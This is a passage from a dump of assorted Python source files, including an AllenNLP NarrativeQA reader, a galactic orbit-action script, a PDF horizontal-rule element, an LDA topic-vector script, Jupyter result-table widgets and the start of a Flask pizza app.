self._doc_ids_to_read = doc_ids\n self._sets_to_load = set_names\n\n def __iter__(self):\n for doc_summary in reader.load_json_list(self._parsed_summaries_file,\n doc_ids=self._doc_ids_to_read, set_names=self._sets_to_load):\n item = DocumentSummaryItem(doc_id=doc_summary[\"document_id\"],\n data=doc_summary)\n\n yield item\n\n doc_iterator = None\n if self._source_context_type == \"summary\":\n doc_iterator = DocumentsSummariesIterator(self._processed_summaries_file,\n doc_ids=doc_ids_to_read,\n set_names=sets_to_load)\n else:\n doc_iterator = DocumentsWithParsedChunksIterator(self._question_to_context_ranking_file,\n doc_ids=doc_ids_to_read,\n set_names=sets_to_load,\n top_retrieved_chunks=self._top_retrieved_chunks,\n dataset_processed_data_dir=self._dataset_processed_data_dir)\n\n logger.info(\"Reading instances\")\n for d_id, doc_item in enumerate(doc_iterator):\n\n doc_id = doc_item.doc_id\n\n #fields_to_take = [\"sentences_spans\", \"tokens\", \"pos\", \"lemmas\", \"ent\", \"ent_iob\", \"sentences_text\", \"entities\", \"coref_clusters\"]\n fields_to_take_full = []\n fields_to_crop_with_span = [\"tokens\", \"pos\", \"lemmas\", \"ent\", \"ent_iob\"]\n\n if \"questions\" in doc_item.data:\n curr_doc_questions = doc_item.data[\"questions\"]\n else:\n curr_doc_questions = [x for x in questions_list if x[\"document_id\"] == doc_id]\n\n for q_id, question_meta in enumerate(curr_doc_questions):\n question_with_ranking = doc_item.get_question_item(q_id)\n if question_with_ranking is not None:\n assert question_meta[\"question\"] == question_with_ranking[\"question\"]\n\n context_sequence_parse = doc_item.get_context_parse(q_id,\n fields_to_take_full,\n fields_to_crop_with_span)\n extracted_entities = {}\n\n context_sequence = context_sequence_parse\n context_sequence[\"ent_with_iob\"] = combine_parse_fields_if_both_exists_and_add_new_field(context_sequence,\n [\"ent_iob\", \"ent\"],\n [[\"O\", \"\"], [\"\"]],\n \"{0}_{1}\",\n default_result=[\"\"] * len(context_sequence[\"tokens\"]))\n\n context_sequence[\"tokens_with_ents\"] = extract_and_map_entities(context_sequence,\n \"tokens\", \"ent\", \"ent_iob\",\n extracted_entities,\n default_result=context_sequence[\"tokens\"],\n words_to_exclude_from_mapping=STOP_WORDS)\n\n # question sequence\n question_sequence = combine_sentences_parse(question_meta[\"question_parse\"][\"sentences\"])\n question_sequence[\"ent_with_iob\"] = combine_parse_fields_if_both_exists_and_add_new_field(question_sequence,\n [\"ent_iob\", \"ent\"],\n [[\"O\", \"\"], [\"\"]],\n \"{0}_{1}\",\n default_result=[\"\"]\n * len(question_sequence[\"tokens\"]))\n\n question_sequence[\"tokens_with_ents\"] = extract_and_map_entities(question_sequence,\n \"tokens\", \"ent\", \"ent_iob\",\n extracted_entities,\n default_result=question_sequence[\"tokens\"],\n words_to_exclude_from_mapping=STOP_WORDS)\n\n\n metadata = {\n \"document_id\": question_meta[\"document_id\"],\n \"question\": question_meta[\"question\"],\n \"answer1\": question_meta[\"answer1\"],\n \"answer2\": question_meta[\"answer2\"],\n \"target_references\": [question_meta[\"answer1_tokenized\"].split(),\n question_meta[\"answer2_tokenized\"].split()],\n # \"extracted_entities\": extracted_entities\n }\n\n # By default take answer1\n # We can also select the random answer1 or answer2 but this would disable reproducability.\n # In dev and test it will not be considered for the official evaluation\n # \"target_references\" from the metadata will be used\n target_sequence = combine_sentences_parse(question_meta[\"answer1_parse\"][\"sentences\"])\n target_sequence[\"tokens_with_ents\"] = extract_and_map_entities(target_sequence,\n \"tokens\", \"ent\", \"ent_iob\",\n extracted_entities,\n default_result=target_sequence[\"tokens\"],\n words_to_exclude_from_mapping=STOP_WORDS)\n\n target_span = question_meta[\"answers_best_chunks\"][0][\"span\"]\n\n # target sequence 2\n target_sequence2 = combine_sentences_parse(question_meta[\"answer2_parse\"][\"sentences\"])\n target_sequence2[\"tokens_with_ents\"] = extract_and_map_entities(target_sequence2,\n \"tokens\", \"ent\", \"ent_iob\",\n extracted_entities,\n default_result=target_sequence2[\"tokens\"],\n words_to_exclude_from_mapping=STOP_WORDS)\n\n target_span2 = None\n if len(question_meta[\"answers_best_chunks\"]) > 1:\n target_span2 = question_meta[\"answers_best_chunks\"][1][\"span\"]\n\n # Use\n if isinstance(self._target_tokenizer._word_splitter, ReadSentenceParseTypeWise):\n # set question to the input type\n context_tokenized_text = [x.text for x in self._target_tokenizer.tokenize(context_sequence)]\n\n metadata[\"context\"] = \" \".join(context_tokenized_text)\n\n question_tokenized_text = [x.text for x in self._target_tokenizer.tokenize(question_sequence)]\n metadata[\"question\"] = \" \".join(question_tokenized_text)\n\n # set answer to the input type\n answer1_tokenized_text = [x.text for x in self._target_tokenizer.tokenize(target_sequence)]\n answer2_tokenized_text = [x.text for x in self._target_tokenizer.tokenize(target_sequence2)]\n metadata[\"answer1\"] = \" \".join(answer1_tokenized_text)\n metadata[\"answer2\"] = \" \".join(answer2_tokenized_text)\n metadata[\"target_references\"] = [answer1_tokenized_text,\n answer2_tokenized_text]\n\n # this is a nasty check if it is a train dataset\n if file_path == \"train\":\n target_spans = [x for x in [target_span, target_span2] if x is not None]\n if self._handle_multiple_target_in_train == TARGET_HANDLE_ALL:\n for target_span_curr in target_spans:\n yield self.text_to_instance(context_sequence, question_sequence, target_span_curr, metadata)\n elif self._handle_multiple_target_in_train == TARGET_HANDLE_RANDOM:\n # add answer 2 as an example as well - this doubles the train data!\n target_span_curr = random.choice(target_spans)\n yield self.text_to_instance(context_sequence, question_sequence, target_span_curr[0], target_span_curr[1], metadata)\n elif self._handle_multiple_target_in_train == TARGET_HANDLE_ANSWER1:\n yield self.text_to_instance(context_sequence, question_sequence, target_spans[0][0], target_spans[0][1], metadata)\n elif self._handle_multiple_target_in_train == TARGET_HANDLE_ANSWER2 and len(target_spans[1]) > 1:\n yield self.text_to_instance(context_sequence, question_sequence, target_spans[1][0], target_spans[1][1], metadata)\n else:\n raise Exception(\"Something went wrong! You should not be here!\")\n else:\n # does not matter which target is passed! targets are evaluated from the metadata\n # that contains all references\n yield self.text_to_instance(context_sequence, question_sequence, target_span[0], target_span[1], metadata)\n\n\n @overrides\n def text_to_instance(self,\n context_parse: Dict[str, Any],\n question_parse: Dict[str, Any],\n span_start: int,\n span_end: int,\n metadata: Dict[str, Any]=None) -> Instance: # type: ignore\n # pylint: disable=arguments-differ\n fields = {}\n\n # Create the instance fields\n if metadata is not None:\n fields[\"metadata\"] = MetadataField(metadata)\n\n # context\n tokenized_context = self._context_tokenizer.tokenize(context_parse)\n if self._source_add_start_token:\n tokenized_context.insert(0, Token(START_SYMBOL))\n tokenized_context.append(Token(END_SYMBOL))\n\n if self._return_context_tokens_pointers:\n lowercase_tokens = False\n if \"tokens\" in self._context_token_indexers:\n lowercase_tokens = self._context_token_indexers[\"tokens\"].lowercase_tokens\n\n context_tokens_text = [x.text for x in tokenized_context]\n _, unique_tokens_pointers, unique_tokens_list_lens = get_token_lookup_pointers(context_tokens_text,\n lowercase_tokens)\n\n context_tokens_pointers = ListField([ArrayField(np.asarray(x, dtype=np.int32), padding_value=-1) for x in unique_tokens_pointers])\n fields[\"context_tokens_pointers\"] = context_tokens_pointers\n\n context_field = TextField(tokenized_context, self._context_token_indexers)\n fields[\"passage\"] = context_field\n\n # question\n tokenized_question = self._question_tokenizer.tokenize(question_parse)\n if self._source_add_start_token:\n tokenized_question.insert(0, Token(START_SYMBOL))\n tokenized_question.append(Token(END_SYMBOL))\n question_field = TextField(tokenized_question, self._question_token_indexers)\n fields[\"question\"] = question_field\n\n fields['span_start'] = IndexField(span_start, context_field)\n fields['span_end'] = IndexField(span_end, context_field)\n\n return Instance(fields)\n\n\n","sub_path":"docqa/data/dataset_readers/narrativeqa_summary_context_and_questions_parse_span_reader.py","file_name":"narrativeqa_summary_context_and_questions_parse_span_reader.py","file_ext":"py","file_size_in_byte":27971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"616290970","text":"import numpy as np \n\nimport gala.dynamics as gd\nimport gala.potential as gp\nimport gala.integrate as gi\n\nfrom pyia import GaiaData\nfrom astropy.table import Table \nimport astropy.units as u\nimport astropy.coordinates as coord\n\nimport warnings\n\ndt = 1 * u.Myr\nmw = gp.MilkyWayPotential()\n\nt = Table.read('J_A+A_616_A10_tablea3.dat.fits', format='fits')\n\n# rename stuff\nt['ra'] = t['RAdeg']\nt['dec'] = t['DEdeg']\nt['parallax'] = t['plx']\nt['pmra'] = t['pmRA']\nt['pmdec'] = t['pmDE']\nt['radial_velocity'] = t['RV']\n\ng = GaiaData(t)\n\ndist = 1/(g.parallax.to_value(u.mas)) * 1000 # pc\nname = t['Cluster'].tolist()\nm = np.c_[name, dist]\n\nrsun = 8.2 * u.kpc\nzsun = 0.025 * u.kpc\nvsun = [11.1, 232.24, 7.25] * u.km/u.s\ngc_frame = coord.Galactocentric(galcen_distance=rsun, galcen_v_sun=coord.CartesianDifferential(*vsun), z_sun=zsun)\n\nsc = g.skycoord\nscdyn = gd.PhaseSpacePosition(sc.transform_to(gc_frame).cartesian)\n\ndef actions(star):\n with warnings.catch_warnings(record=True):\n warnings.simplefilter(\"ignore\")\n orbit = mw.integrate_orbit(star, dt=dt, t1=0*u.Gyr, t2=5*u.Gyr, Integrator=gi.DOPRI853Integrator)\n res = gd.actionangle.find_actions(orbit, N_max=8)\n ans = res['actions'].to(u.kpc * u.km / u.s).value\n return np.append(ans,orbit.zmax(approximate=True).to(u.pc).value)\n\nresult = [actions(s) for s in scdyn]\nresult2 = np.concatenate((m, result), axis=1)\nr = Table(result2, names=('cluster', 'distance', 'Jr', 'Lz', 'Jz', 'zmax'))\nr['distance'].unit = u.pc\nr['Jr'].unit = u.kpc * u.km/u.s\nr['Lz'].unit = u.kpc * u.km/u.s\nr['Jz'].unit = u.kpc * u.km/u.s\nr['zmax'].unit = u.pc\n\nr.write('real_cluster_actions.fits', format='fits')\nr.write('real_cluster_actions.tex', format='ascii.aastex')\n\npos = np.transpose(scdyn.pos.xyz.to_value(u.pc))\nvel = np.transpose(scdyn.vel.d_xyz.to_value(u.km/u.s))\n\ncart = np.concatenate((m,pos,vel), axis=1)\nr2 = Table(cart, names=('cluster', 'distance', 'pos.x', 'pos.y', 'pos.z', 'vel.x', 'vel.y', 'vel.z'))\nr2.write('real_cluster_gc.fits', format='fits')\n","sub_path":"real_cluster/compute_real_cluster_actions.py","file_name":"compute_real_cluster_actions.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"556141682","text":"\"\"\"\nBasic settings for the vision system\n\"\"\"\n\nimport os\n\n# This will print exceptions on the standard output.\nDEBUG = True\n\n# Stack trace depth\nDEBUG_LEVEL = 5\n\n# Logging functionality\nLOGGING = True\n\n# Logfile\nLOG_FILE = os.path.join('..', '..', 'log', 'vision_server.log')\n\n# In case --no-cam has been passed, the vision system uses a frame token to\n# work on. So this is the path to the frame token that is going to be used.\nFRAME_TOK = os.path.join('..', '..', 'frame.jpg')\n\n# Time between server startup trials\nSTARTUP_ATTEMPT_TIMEOUT = 3 # seconds\n\n# Number of server startup stials\nSTARTUP_ATTEMPTS = 10 # times\n\n# The port on which the vision server operates\nVISION_SRV_PORT = 5000\n\n# Determines whether server operates on the network or only on localhost.\nVISION_SRV_NET_OPEN = True # Fasle - on localhost, True - on network\n\n# Timeout of queued messages\nMSG_QUEUE_TTL = 10 # seconds\n\n# The maximum number of pending requests the server accepts\nMAX_PENDING_REQS = 3\n\n# The maximum size of control system reguest messages in byts\nMAX_REQ_MSG_SIZE = 60 # 2 bytes is one character\n","sub_path":"Melmac.Vision/src/melmac/python/src/settings/VisionSettings.py","file_name":"VisionSettings.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"533221808","text":"from ignite.exceptions import NotComputableError\nfrom ignite.metrics.metric import Metric\n\n\nclass Loss(Metric):\n def __init__(self, loss_fn, output_transform=lambda x: x):\n super(Loss, self).__init__(output_transform)\n self._loss_fn = loss_fn\n\n def reset(self):\n self._sum = 0\n self._num_examples = 0\n\n def update(self, output):\n average_loss = self._loss_fn(*output)\n\n if len(average_loss.shape) != 0:\n raise ValueError('loss_fn did not return the average loss.')\n\n N = output[0].shape[0]\n self._sum += average_loss.item() * N\n self._num_examples += N\n\n def compute(self):\n if self._num_examples == 0:\n raise NotComputableError('Loss must have at least one example before it can be computed.')\n return self._sum / self._num_examples\n","sub_path":"flame/handlers/metrics/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"140952425","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nThis implementation of LayoutElement represents an horizontal line across the page\n\"\"\"\nimport typing\nfrom decimal import Decimal\n\nfrom borb.pdf.canvas.color.color import Color, HexColor, RGBColor\nfrom borb.pdf.canvas.geometry.rectangle import Rectangle\nfrom borb.pdf.canvas.layout.text.paragraph import LayoutElement\nfrom borb.pdf.page.page import Page\n\n\nclass HorizontalRule(LayoutElement):\n \"\"\"\n This implementation of LayoutElement represents an horizontal line across the page\n \"\"\"\n\n def __init__(\n self,\n line_width: Decimal = Decimal(1),\n line_color: Color = HexColor(\"000000\"),\n margin_top: typing.Optional[Decimal] = None,\n margin_bottom: typing.Optional[Decimal] = None,\n ):\n super(HorizontalRule, self).__init__(\n margin_top=margin_top or Decimal(6),\n margin_bottom=margin_bottom\n or Decimal(\n 6,\n ),\n )\n self._line_width: Decimal = line_width\n self._line_color: Color = line_color\n\n def _calculate_layout_box_without_padding(\n self, page: \"Page\", bounding_box: Rectangle # type: ignore[name-defined]\n ) -> Rectangle:\n layout_box: Rectangle = Rectangle(\n bounding_box.x,\n bounding_box.y + bounding_box.height - self._line_width,\n bounding_box.width,\n self._line_width,\n )\n self.set_bounding_box(layout_box)\n return layout_box\n\n def _do_layout_without_padding(\n self, page: Page, bounding_box: Rectangle\n ) -> Rectangle:\n\n # write l operator\n rgb_color: RGBColor = self._line_color.to_rgb()\n content = \" q %f %f %f RG %f %f m %f %f l s Q \" % (\n rgb_color.red,\n rgb_color.green,\n rgb_color.blue,\n bounding_box.get_x(),\n bounding_box.get_y() + bounding_box.get_height() - self._line_width,\n bounding_box.get_x() + bounding_box.get_width(),\n bounding_box.get_y() + bounding_box.get_height() - self._line_width,\n )\n\n # modify content stream\n self._append_to_content_stream(page, content)\n\n # return\n return Rectangle(\n bounding_box.x,\n bounding_box.y + bounding_box.height - self._line_width,\n bounding_box.width,\n self._line_width,\n )\n","sub_path":"lamda-ocr/merge-files/borb/pdf/canvas/layout/horizontal_rule.py","file_name":"horizontal_rule.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"513668027","text":"import numpy as np\nimport lensdemo_funcs as ldf\nfrom matplotlib.pylab import *\n#import pyfits as pf\nimport time\nst = time.time()\n\nfrom flexion_moments import *\nfrom lens_image import *\nfrom half_light import *\nfrom weight_func import *\n\nfmax = 100.\neps = 0.2\n\n\nsigma=3.0\nrmax=6.0*sigma\n\nnn1=int(2.4*rmax)\nnn2=int(2.4*rmax)\n\nxc1 = nn1/2.0\nyc1 = nn2/2.0\n\nxi1 = np.linspace(0.0,nn1-1.0,nn1) \t# coordinate for x-axis\nxi2 = np.linspace(0.0,nn2-1.0,nn2)\t# coordinate for y-axis\nyy,xx = np.meshgrid(xi1,xi2)\n\nimg_source = np.zeros((nn1,nn2))\nimg_lensed = np.zeros((nn1,nn2))\n\nfor i in range(nn1):\n\tfor j in range(nn2):\n\t\tr=np.sqrt(((i-xc1)/(1.0+eps))**2.0+((j-yc1)/(1.0-eps))**2.0)\n\t\tif r < rmax:\n\t\t\timg_source[i,j] = fmax*exp(-(r/sigma)**1.5/2.0)\n\nkappa=0.0\ngamma1=0.0\ngamma2=0.02\nA1=np.array([[1.0-kappa-gamma1,-gamma2],[-gamma2,1-kappa+gamma1]])\n\ng11= 0.004\ng12= 0.004\ng21= 0.00\ng22= 0.00\n\n\nD1=np.zeros((2,2,2))\nD1[0,0,0]=-2.0*g11-g22\nD1[0,0,1]=-g21\nD1[0,1,0]=-g21\nD1[0,1,1]=-g22\n\nD1[1,0,0]=-g21\nD1[1,0,1]=-g22\nD1[1,1,0]=-g22\nD1[1,1,1]=2.0*g12-g21\n\n\n#img_lensed = lq_flex_img(img_source,A1,D1)\t# 3d gaussian function\n#zz = img_lensed\n#img_lensed = lq_flex_img2(img_source,0.0,0.0,0.0,0.04,0.0,0.0,0.0)\t# 3d gaussian function\n#zz = img_lensed\n#--------------------------------------------------------------------------------------------\ninter = 20\nnfactor = 12\nfactor_arr = np.zeros((nfactor))\nF1_arr = np.zeros((inter,nfactor))\nF2_arr = np.zeros((inter,nfactor))\nG1_arr = np.zeros((inter,nfactor))\nG2_arr = np.zeros((inter,nfactor))\nfor i in range(inter):\n\timg_lensed = lq_flex_img(img_source,A1,D1)\t# 3d gaussian function\n\tnoise_add = (np.random.standard_normal((nn1,nn2)))*0.02*np.sqrt(img_lensed+200)\n\tzz = img_lensed + noise_add\t\n\t#print mean(noise_add),np.std(noise_add)\n\t#print mean(zz),np.std(zz)\n\tfor j in range(nfactor):\n\n\t\trh = halflight(zz)\n\t\tfactor = 0.4+j*0.2\n\t\tsig2 = factor*rh**2.0\n\t\twf = winf(zz,sig2)\n\t\tfm = flex_m(zz,wf,sig2)[0]\n\t\t \n\t\tF_model = np.array([g11+g22,g21-g12])\n\t\tG_model = np.array([g11-g22,g21+g12])\n\n\t\tfactor_arr[j]= factor\n\t\tF1_arr[i][j] = np.abs(fm[0]/F_model[0])-1.0\n\t\tF2_arr[i][j] = np.abs(fm[1]/F_model[1])-1.0\n\t\tG1_arr[i][j] = np.abs(fm[2]/G_model[0])-1.0\n\t\tG2_arr[i][j] = np.abs(fm[3]/G_model[1])-1.0\n\t\t#print 'F1 = %f' %(fm[0])\n\t\t#print 'F2 = %f' %(fm[1])\n\t\t#print 'G1 = %f' %(fm[2])\n\t\t#print 'G2 = %f' %(fm[3])\n#print F_model, G_model\net = time.time()\nprint (et-st)\n#--------------------------------------------------------------------\nmeanF=np.zeros(nfactor)\nmeanG=np.zeros(nfactor)\nstdvF=np.zeros(nfactor)\nstdvG=np.zeros(nfactor)\n\nmeanF1=np.zeros(nfactor)\nmeanF2=np.zeros(nfactor)\nmeanG1=np.zeros(nfactor)\nmeanG2=np.zeros(nfactor)\nfor i in range(nfactor):\n\tmeanF[i] = np.mean([F1_arr[:,i],F2_arr[:,i]])\n\tmeanG[i] = np.mean([G1_arr[:,i],G2_arr[:,i]])\n\tstdvF[i] = np.std([F1_arr[:,i],F2_arr[:,i]])\n\tstdvG[i] = np.std([G1_arr[:,i],G2_arr[:,i]])\n\n\tmeanF1[i] = np.mean(F1_arr[:,i])\n\tmeanF2[i] = np.mean(F2_arr[:,i])\n\tmeanG1[i] = np.mean(G1_arr[:,i])\n\tmeanG2[i] = np.mean(G2_arr[:,i])\n\t\n#--------------------------------------------------------------------\n#levels = [0.01,0.30,0.45,0.60,0.75,0.9,1.05]\nmam = np.max(np.abs([meanF,meanG]))\nmas = np.max(np.abs([stdvF,stdvG]))\nfigure(num=None,figsize=(16,6),dpi=80, facecolor='w', edgecolor='k')\n\n\na = axes([0.08,0.1,0.4,0.8])\na.set_xlim(0.0,3.0)\na.set_ylim(-1.5,1.5)\n#a.contourf(xx,yy,zz,levels)\nxlabel(r'${\\rm C_W}$',fontsize=16)\nylabel(r'$(\\bar{F}-F_0)/F_0$, $(\\bar{G}-G_0)/G_0$',fontsize=16)\na.plot(factor_arr,meanF,'k-', lw =2)\na.plot(factor_arr,meanG,'k--', lw = 2)\n#a.plot(meanF1,meanF2,'ro')\n#a.plot(meanF11,meanF22,'go')\n\nb = axes([0.55,0.1,0.4,0.8])\nb.set_xlim(0.0,3.0)\nb.set_ylim(0,0.2)\n#b.contourf(xld,yld,zz,levels)\n#b.contourf(xx,yy,zz)\nxlabel(r'${\\rm C_W}$',fontsize=16)\nylabel(r'${\\rm Stdev}\\,F/F_0,\\,G/G_0$',fontsize=16)\nb.plot(factor_arr,stdvF,'k-',lw = 2)\nb.plot(factor_arr,stdvG,'k--', lw = 2)\n#b.plot(meanG1,meanG2,'go')\n#a.plot(meanG11,meanG22,'go')\nshow()\n","sub_path":"wf_selection.py","file_name":"wf_selection.py","file_ext":"py","file_size_in_byte":4048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"212860870","text":"from pymongo import MongoClient\nimport argparse\nfrom gensim import corpora, matutils, models\nimport csv\nimport pickle\n\n\n# Input arguments\nPROGRAM_DESCRIPTION = \"Create topic vectors\"\nparser = argparse.ArgumentParser(description=PROGRAM_DESCRIPTION)\nparser.add_argument('prefix', type=str, help='name of collection eg ThisIsUs_o')\nparser.add_argument('directory', type=str, help='path to gensim lda output')\nparser.add_argument('data_input_dir', type=str, help='path to preprocesses raw data')\nargs = vars(parser.parse_args())\n\n\ndef main():\n collection_name = args['prefix']\n dir_name = args['directory']\n input_dir = args['data_input_dir']\n\n dir = dir_name\n filename = input_dir + \"/\" + collection_name + \"_username.csv\"\n dict_name = dir + \"/\" + collection_name + \"_text.csv.dict\"\n lda_file = dir + \"/lda.gensim\"\n\n print(\"lda \" , lda_file)\n\n user_data = read_file(filename)\n dict = corpora.Dictionary.load(dict_name)\n lda = models.LdaModel.load(lda_file)\n\n topic_dict = {}\n topic_file = dir + \"/\" + collection_name + \"_topic_vectors.csv\"\n topic_pickle = dir + \"/\" + collection_name + \"_topic_vectors.p\"\n count = 0;\n with open(topic_file, 'w') as f:\n fieldnames = ['user', 'topic']\n writer = csv.DictWriter(f, fieldnames=fieldnames)\n writer.writeheader()\n\n for user, vec in user_data:\n count += 1\n entry = {}\n entry['user'] = user\n words = vec.split()\n vec_bow = dict.doc2bow(words)\n topics = lda[vec_bow]\n topic_dict[user] = topics\n entry['topic'] = topics\n writer.writerow(entry)\n if count % 1000 == 0:\n print (\"done : {}\".format(count))\n\n with open(topic_pickle, 'w') as f:\n pickle.dump(topic_dict, f)\n\n\ndef read_file(filename):\n with open(filename, 'r') as f:\n for each_line in f:\n yield each_line.split(',')\n\nif __name__ == \"__main__\":\n main()","sub_path":"gLDA/create_topic_vectors.py","file_name":"create_topic_vectors.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"96173553","text":"\nfrom .. import haven_utils\nfrom .. import haven_results as hr\nfrom .. import haven_utils as hu \nfrom .. import haven_share as hd\n\nimport os\nimport pprint, json\nimport copy\nimport pprint\nimport pandas as pd \n\ntry:\n import ast\n from ipywidgets import Button, HBox, VBox\n from ipywidgets import widgets\n\n from IPython.display import display\n from IPython.core.display import Javascript, display, HTML\n from IPython.display import FileLink, FileLinks\n from ipywidgets.widgets.interaction import show_inline_matplotlib_plots\nexcept:\n print('widgets not available...')\n\n\ndef tables_tab(db, output):\n d_columns_txt = widgets.Label(value=\"Select Hyperparam column\", \n layout=db.layout_label,)\n d_columns = widgets.Dropdown(\n options=['None'] + db.rm.exp_params,\n value='None',\n layout=db.layout_dropdown,\n disabled=False,\n )\n d_score_columns_txt = widgets.Label(value=\"Select Score column\",\n layout=db.layout_label,)\n d_score_columns = widgets.Dropdown(\n options=db.rm_original.score_keys,\n value='None',\n layout=db.layout_dropdown,\n disabled=False,\n )\n\n bstatus = widgets.Button(description=\"Jobs Status\")\n blogs = widgets.Button(description=\"Jobs Logs\")\n bfailed = widgets.Button(description=\"Jobs Failed\")\n\n b_table = widgets.Button(description=\"Display Table\")\n b_meta = widgets.Button(description=\"Display Meta Table\")\n b_diff = widgets.Button(description=\"Display Filtered Table\")\n\n # d_avg_across_columns = widgets.Text(\n # value=str(db.vars.get('avg_across', 'None')),\n # description='avg_across:',\n # disabled=False\n # )\n d_avg_across_txt = widgets.Label(value=\"avg_across:\",)\n d_avg_across_columns = widgets.Dropdown(\n options=['None'] + db.rm.exp_params,\n value='None',\n layout=db.layout_dropdown,\n disabled=False,\n )\n hparam_txt = widgets.Label(value=\"Hyperparamters:\", \n layout=widgets.Layout(width='300px'),)\n db.hparam_widget = widgets.SelectMultiple(options=db.rm.exp_params)\n\n metrics_txt = widgets.Label(value=\"Metrics:\", \n layout=db.layout_label,)\n db.metrics_widget = widgets.SelectMultiple(options=[k for k in db.rm_original.score_keys if k is not 'None'])\n\n button = widgets.VBox([ \n widgets.HBox([hparam_txt, metrics_txt]),\n widgets.HBox([db.hparam_widget, db.metrics_widget]),\n widgets.HBox([b_table, bstatus, blogs, bfailed, d_avg_across_txt, d_avg_across_columns]),\n \n # widgets.HBox([d_columns_txt, d_score_columns_txt]),\n # widgets.HBox([d_columns, d_score_columns ]),\n ])\n output_plot = widgets.Output()\n\n with output:\n display(button)\n display(output_plot)\n\n def on_table_clicked(b):\n output_plot.clear_output()\n with output_plot:\n db.update_rm()\n\n db.vars['avg_across'] = d_avg_across_columns.value\n avg_across_value = db.vars.get('avg_across', 'None')\n if avg_across_value == \"None\":\n avg_across_value = None\n\n db.vars['columns'] = list(db.hparam_widget.value)\n db.vars['score_columns'] = list(db.metrics_widget.value)\n # print('cols', db.hparam_dict)\n # stop\n score_table = db.rm.get_score_table(columns=db.vars.get('columns'), \n score_columns=db.vars.get('score_columns'),\n avg_across=avg_across_value)\n display(score_table) \n\n def on_job_status_clicked(b):\n output_plot.clear_output()\n with output_plot:\n db.update_rm()\n summary_list = db.rm.get_job_summary(verbose=db.rm.verbose,\n add_prefix=True)\n summary_dict = hu.group_list(summary_list, key='job_state', return_count=True)\n display(summary_dict)\n\n summary_dict = hu.group_list(summary_list, key='job_state', return_count=False)\n\n for state in summary_dict:\n n_jobs = len(summary_dict[state])\n if n_jobs:\n display('Experiments %s: %d' %(state, n_jobs))\n df = pd.DataFrame(summary_dict[state])\n display(df.head())\n\n def on_logs_clicked(b):\n output_plot.clear_output()\n with output_plot:\n summary_list = db.rm.get_job_summary(verbose=db.rm.verbose,\n add_prefix=True)\n \n n_logs = len(summary_list)\n \n for i, logs in enumerate(summary_list):\n print('\\nLogs %d/%d' % (i+1, n_logs), '='*50)\n print('exp_id:', logs['exp_id'])\n print('job_id:', logs['job_id'])\n print('job_state:', logs['job_state'])\n print('savedir:', os.path.join(db.rm_original.savedir_base, logs['exp_id']))\n\n print('\\nexp_dict')\n print('-'*50)\n pprint.pprint(logs['exp_dict'])\n \n print('\\nLogs')\n print('-'*50)\n pprint.pprint(logs['logs']) \n \n def on_failed_clicked(b):\n output_plot.clear_output()\n with output_plot:\n db.update_rm()\n summary_list = db.rm.get_job_summary(verbose=db.rm.verbose,\n add_prefix=True)\n summary_dict = hu.group_list(summary_list, key='job_state', return_count=False)\n if 'FAILED' not in summary_dict:\n display('NO FAILED JOBS')\n return\n n_failed = len(summary_dict['FAILED'])\n \n if n_failed == 0:\n display('no failed experiments')\n else:\n for i, failed in enumerate(summary_dict['FAILED']):\n print('\\nFailed %d/%d' % (i+1, n_failed), '='*50)\n print('exp_id:', failed['exp_id'])\n print('job_id:', failed['job_id'])\n print('job_state:', 'FAILED')\n print('savedir:', os.path.join(db.rm_original.savedir_base, failed['exp_id']))\n\n print('\\nexp_dict')\n print('-'*50)\n pprint.pprint(failed['exp_dict'])\n \n print('\\nLogs')\n print('-'*50)\n pprint.pprint(failed['logs'])\n\n # Add call listeners\n b_table.on_click(on_table_clicked)\n bstatus.on_click(on_job_status_clicked)\n blogs.on_click(on_logs_clicked)\n bfailed.on_click(on_failed_clicked)\n\n d_columns.observe(on_table_clicked)\n d_score_columns.observe(on_table_clicked)\n\n # meta stuff and column filtration\n def on_bmeta_clicked(b):\n db.vars['show_meta'] = 1 - db.vars.get('show_meta', 0)\n on_table_clicked(None)\n\n def on_hparam_diff_clicked(b):\n db.vars['hparam_diff'] = 2 - db.vars.get('hparam_diff', 0)\n on_table_clicked(None)\n\n b_meta.on_click(on_bmeta_clicked)\n b_diff.on_click(on_hparam_diff_clicked)\n\n\ndef columns_widget(label, column_list):\n names = []\n checkbox_objects = []\n objects = [label]\n for key in column_list:\n c = widgets.Checkbox(value=False)\n checkbox_objects.append(c)\n l = widgets.Label(key)\n l.layout.width='500ex'\n objects.append(c)\n objects.append(l)\n names.append(key)\n\n arg_dict = {names[i]: checkbox for i, checkbox in enumerate(checkbox_objects)}\n ui = widgets.HBox(children=objects)\n selected_data = []\n\n def select_data(**kwargs):\n selected_data.clear()\n\n for key in kwargs:\n if kwargs[key] is True:\n selected_data.append(key)\n\n print(selected_data)\n\n # out = widgets.interactive_output(select_data, arg_dict)\n return ui, arg_dict","sub_path":"haven/haven_jupyter/tables_tab.py","file_name":"tables_tab.py","file_ext":"py","file_size_in_byte":8273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"60255901","text":"from flask import Flask\nfrom flask import render_template\nfrom flask import url_for\nfrom flask import request\nfrom flask import redirect\n\nfrom flask.ext.sqlalchemy import SQLAlchemy\n\nfrom hashids import Hashids\n\nimport hashids\n\nimport pizza\n\n#\n\nh = Hashids(salt=\"salty\", min_length=6)\nsecretHash = Hashids(salt=\"ohbaby\", min_length=6)\n\n#\n\npizza.Topping.load(\"toppings.txt\")\n\napp = Flask(__name__)\napp.debug = True\n\n# # database\nimport os\n# abspath = os.path.abspath(__file__)\n# dname = os.path.dirname(abspath)\n# os.chdir(dname)\napp.config['SQLALCHEMY_DATABASE_URI'] = 